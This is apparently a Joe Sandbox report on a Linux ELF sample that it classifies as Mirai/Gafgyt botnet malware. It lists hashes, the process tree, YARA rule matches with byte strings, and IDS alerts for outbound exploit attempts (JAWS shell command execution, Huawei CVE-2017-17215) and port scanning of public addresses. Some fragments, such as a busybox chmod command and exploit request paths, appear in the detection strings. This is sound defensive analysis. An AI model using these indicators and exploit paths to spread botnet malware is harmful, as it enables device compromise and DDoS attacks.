Edit tour

Linux Analysis Report
na.elf

Overview

General Information

Sample name:	na.elf
Analysis ID:	1533410
MD5:	5180e681041d8b5c4f176c09fc575bc2
SHA1:	2c325d6f812cf4a2d20ef0dfa90198eaa0835dee
SHA256:	1e5b58916707f7b4ede6f4cf7f9c6dfc08ce6e7f39e3c1a025e952864e019ad2
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai, Gafgyt

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Sample is packed with UPX

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

ELF contains segments with high entropy indicating compressed/encrypted content

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains only a LOAD segment without any section mappings

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1533410
Start date and time:	2024-10-14 17:29:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	na.elf
Detection:	MAL
Classification:	mal100.spre.troj.evad.linELF@0/0@6/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: na.elf

Runtime Messages

Command:	/tmp/na.elf
PID:	5500
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

na.elf (PID: 5500, Parent: 5419, MD5: 5180e681041d8b5c4f176c09fc575bc2) Arguments: /tmp/na.elf

na.elf New Fork (PID: 5501, Parent: 5500)

na.elf New Fork (PID: 5502, Parent: 5501)

na.elf New Fork (PID: 5503, Parent: 5501)

na.elf New Fork (PID: 5504, Parent: 5501)

na.elf New Fork (PID: 5506, Parent: 5501)

na.elf New Fork (PID: 5507, Parent: 5501)

na.elf New Fork (PID: 5508, Parent: 5501)

xfce4-panel New Fork (PID: 5511, Parent: 3172)

wrapper-2.0 (PID: 5511, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 5512, Parent: 3172)

wrapper-2.0 (PID: 5512, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 5513, Parent: 3172)

wrapper-2.0 (PID: 5513, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 5514, Parent: 3172)

wrapper-2.0 (PID: 5514, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

xfce4-panel New Fork (PID: 5515, Parent: 3172)

wrapper-2.0 (PID: 5515, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 5516, Parent: 3172)

wrapper-2.0 (PID: 5516, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

dbus-daemon New Fork (PID: 5525, Parent: 5524)

xfconfd (PID: 5525, Parent: 5524, MD5: 4c7a0d6d258bb970905b19b84abcd8e9) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
5500.1.0000000008048000.000000000805d000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5500.1.0000000008048000.000000000805d000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5500.1.0000000008048000.000000000805d000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5500.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x12f9c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5500.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_268aac0b	unknown	unknown	0x7f4f:$a: 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B
5500.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_0cb1699c	unknown	unknown	0x7f02:$a: DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83
5500.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_c8385b81	unknown	unknown	0xc11c:$a: 8D 74 26 00 89 C2 83 ED 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1
5500.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_70ef58f1	unknown	unknown	0xe8ad:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C 0xe92d:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C
5500.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_485c4b13	unknown	unknown	0x308:$a: 7E 1F 8B 4C 24 4C 01 D1 0F B6 11 88 D0 2C 61 3C 19 77 05 80
5500.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_7d05725e	unknown	unknown	0x27e:$a: 24 97 00 00 00 89 6C 24 08 89 74 24 04 89 14 24 0F B7 C0 89 44
5500.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_2e3f67a9	unknown	unknown	0x2ad2:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44 0x2b32:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44
5500.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_0d73971c	unknown	unknown	0xc222:$a: 89 C2 83 EB 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1 31 F0 C1
5500.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xfb62:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5500.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x10684:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5500.1.0000000008048000.000000000805d000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x133f5:$x2: /bin/busybox chmod 777 * /tmp/ 0x13120:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x12c60:$s3: POST /cdn-cgi/
5502.1.0000000008048000.000000000805d000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5502.1.0000000008048000.000000000805d000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5502.1.0000000008048000.000000000805d000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5502.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x12f9c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5502.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_268aac0b	unknown	unknown	0x7f4f:$a: 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B
5502.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_0cb1699c	unknown	unknown	0x7f02:$a: DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83
5502.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_c8385b81	unknown	unknown	0xc11c:$a: 8D 74 26 00 89 C2 83 ED 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1
5502.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_70ef58f1	unknown	unknown	0xe8ad:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C 0xe92d:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C
5502.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_485c4b13	unknown	unknown	0x308:$a: 7E 1F 8B 4C 24 4C 01 D1 0F B6 11 88 D0 2C 61 3C 19 77 05 80
5502.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_7d05725e	unknown	unknown	0x27e:$a: 24 97 00 00 00 89 6C 24 08 89 74 24 04 89 14 24 0F B7 C0 89 44
5502.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_2e3f67a9	unknown	unknown	0x2ad2:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44 0x2b32:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44
5502.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_0d73971c	unknown	unknown	0xc222:$a: 89 C2 83 EB 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1 31 F0 C1
5502.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xfb62:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5502.1.0000000008048000.000000000805d000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x10684:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5502.1.0000000008048000.000000000805d000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x133f5:$x2: /bin/busybox chmod 777 * /tmp/ 0x13120:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x12c60:$s3: POST /cdn-cgi/
Process Memory Space: na.elf PID: 5500	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5500	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x184f:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: na.elf PID: 5502	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5502	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x1834:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Click to see the 29 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T17:30:17.627654+0200	2030092	1	Web Application Attack	192.168.2.14	40452	144.126.212.192	80	TCP
2024-10-14T17:30:24.400110+0200	2030092	1	Web Application Attack	192.168.2.14	48368	93.120.225.221	80	TCP
2024-10-14T17:30:25.907838+0200	2030092	1	Web Application Attack	192.168.2.14	34152	181.114.78.231	80	TCP
2024-10-14T17:30:27.537730+0200	2030092	1	Web Application Attack	192.168.2.14	59566	172.7.191.52	80	TCP
2024-10-14T17:30:34.912046+0200	2030092	1	Web Application Attack	192.168.2.14	55132	13.249.38.146	80	TCP
2024-10-14T17:30:36.282828+0200	2030092	1	Web Application Attack	192.168.2.14	37098	62.176.2.9	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T17:30:17.627654+0200	2029034	1	Web Application Attack	192.168.2.14	40452	144.126.212.192	80	TCP
2024-10-14T17:30:22.969102+0200	2029034	1	Web Application Attack	192.168.2.14	39670	117.105.192.227	443	TCP
2024-10-14T17:30:22.969230+0200	2029034	1	Web Application Attack	192.168.2.14	34804	212.89.46.198	443	TCP
2024-10-14T17:30:23.991082+0200	2029034	1	Web Application Attack	192.168.2.14	49768	148.210.180.33	443	TCP
2024-10-14T17:30:24.400110+0200	2029034	1	Web Application Attack	192.168.2.14	48368	93.120.225.221	80	TCP
2024-10-14T17:30:25.907838+0200	2029034	1	Web Application Attack	192.168.2.14	34152	181.114.78.231	80	TCP
2024-10-14T17:30:26.008509+0200	2029034	1	Web Application Attack	192.168.2.14	52294	210.160.173.188	443	TCP
2024-10-14T17:30:26.008653+0200	2029034	1	Web Application Attack	192.168.2.14	59800	212.59.243.48	443	TCP
2024-10-14T17:30:26.008774+0200	2029034	1	Web Application Attack	192.168.2.14	40740	37.146.27.252	443	TCP
2024-10-14T17:30:26.008785+0200	2029034	1	Web Application Attack	192.168.2.14	38746	148.254.58.101	443	TCP
2024-10-14T17:30:26.008789+0200	2029034	1	Web Application Attack	192.168.2.14	42280	210.30.112.124	443	TCP
2024-10-14T17:30:26.008971+0200	2029034	1	Web Application Attack	192.168.2.14	53826	109.185.208.195	443	TCP
2024-10-14T17:30:26.009162+0200	2029034	1	Web Application Attack	192.168.2.14	44772	178.116.164.93	443	TCP
2024-10-14T17:30:26.009223+0200	2029034	1	Web Application Attack	192.168.2.14	34928	212.64.226.17	443	TCP
2024-10-14T17:30:26.009262+0200	2029034	1	Web Application Attack	192.168.2.14	53354	109.210.128.140	443	TCP
2024-10-14T17:30:26.009288+0200	2029034	1	Web Application Attack	192.168.2.14	56280	79.164.212.246	443	TCP
2024-10-14T17:30:26.009313+0200	2029034	1	Web Application Attack	192.168.2.14	44484	5.108.111.78	443	TCP
2024-10-14T17:30:26.009332+0200	2029034	1	Web Application Attack	192.168.2.14	41850	37.3.47.200	443	TCP
2024-10-14T17:30:26.009541+0200	2029034	1	Web Application Attack	192.168.2.14	35738	5.176.167.155	443	TCP
2024-10-14T17:30:26.009555+0200	2029034	1	Web Application Attack	192.168.2.14	50924	118.177.96.207	443	TCP
2024-10-14T17:30:26.009618+0200	2029034	1	Web Application Attack	192.168.2.14	60224	118.65.120.247	443	TCP
2024-10-14T17:30:26.009661+0200	2029034	1	Web Application Attack	192.168.2.14	54930	148.153.92.233	443	TCP
2024-10-14T17:30:26.009721+0200	2029034	1	Web Application Attack	192.168.2.14	33462	148.32.122.174	443	TCP
2024-10-14T17:30:26.009784+0200	2029034	1	Web Application Attack	192.168.2.14	37242	212.18.126.84	443	TCP
2024-10-14T17:30:26.009826+0200	2029034	1	Web Application Attack	192.168.2.14	49096	2.174.216.58	443	TCP
2024-10-14T17:30:26.009893+0200	2029034	1	Web Application Attack	192.168.2.14	40072	117.122.213.10	443	TCP
2024-10-14T17:30:26.009924+0200	2029034	1	Web Application Attack	192.168.2.14	36618	79.9.42.56	443	TCP
2024-10-14T17:30:26.010110+0200	2029034	1	Web Application Attack	192.168.2.14	46918	118.168.66.44	443	TCP
2024-10-14T17:30:26.010209+0200	2029034	1	Web Application Attack	192.168.2.14	40706	212.165.67.63	443	TCP
2024-10-14T17:30:27.537730+0200	2029034	1	Web Application Attack	192.168.2.14	59566	172.7.191.52	80	TCP
2024-10-14T17:30:34.912046+0200	2029034	1	Web Application Attack	192.168.2.14	55132	13.249.38.146	80	TCP
2024-10-14T17:30:36.282828+0200	2029034	1	Web Application Attack	192.168.2.14	37098	62.176.2.9	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T17:30:21.308826+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42730	197.248.185.90	37215	TCP
2024-10-14T17:30:22.087938+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37136	197.131.205.140	37215	TCP
2024-10-14T17:30:24.058481+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54340	41.174.91.69	37215	TCP
2024-10-14T17:30:24.059000+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56020	156.241.135.202	37215	TCP
2024-10-14T17:30:33.296893+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36872	41.176.3.68	37215	TCP
2024-10-14T17:30:33.308999+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47074	41.127.252.72	37215	TCP
2024-10-14T17:30:33.425108+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37580	197.255.72.33	37215	TCP
2024-10-14T17:30:34.312076+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53014	156.90.211.100	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: na.elf

ReversingLabs: Detection: 61%

Machine Learning detection for sample

Source: na.elf

Joe Sandbox ML: detected

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40452 -> 144.126.212.192:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:40452 -> 144.126.212.192:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42730 -> 197.248.185.90:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37136 -> 197.131.205.140:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:39670 -> 117.105.192.227:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34804 -> 212.89.46.198:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49768 -> 148.210.180.33:443
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54340 -> 41.174.91.69:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56020 -> 156.241.135.202:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48368 -> 93.120.225.221:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:48368 -> 93.120.225.221:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34152 -> 181.114.78.231:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34152 -> 181.114.78.231:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50924 -> 118.177.96.207:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:42280 -> 210.30.112.124:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46918 -> 118.168.66.44:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:53826 -> 109.185.208.195:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:38746 -> 148.254.58.101:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37242 -> 212.18.126.84:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49096 -> 2.174.216.58:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41850 -> 37.3.47.200:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52294 -> 210.160.173.188:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44772 -> 178.116.164.93:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60224 -> 118.65.120.247:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34928 -> 212.64.226.17:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33462 -> 148.32.122.174:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:53354 -> 109.210.128.140:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59800 -> 212.59.243.48:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40740 -> 37.146.27.252:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54930 -> 148.153.92.233:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44484 -> 5.108.111.78:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35738 -> 5.176.167.155:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36618 -> 79.9.42.56:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:56280 -> 79.164.212.246:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40072 -> 117.122.213.10:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40706 -> 212.165.67.63:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59566 -> 172.7.191.52:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:59566 -> 172.7.191.52:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37580 -> 197.255.72.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47074 -> 41.127.252.72:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36872 -> 41.176.3.68:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53014 -> 156.90.211.100:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:55132 -> 13.249.38.146:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:55132 -> 13.249.38.146:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37098 -> 62.176.2.9:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37098 -> 62.176.2.9:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 156.157.161.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.133.232.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.154.74.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.129.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.160.243.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.68.120.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.82.149.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.240.247.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.233.48.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.137.49.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.112.232.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.158.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.230.198.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.71.250.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.124.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.87.233.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.152.201.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.126.90.153 ports 1,2,3,5,7,37215
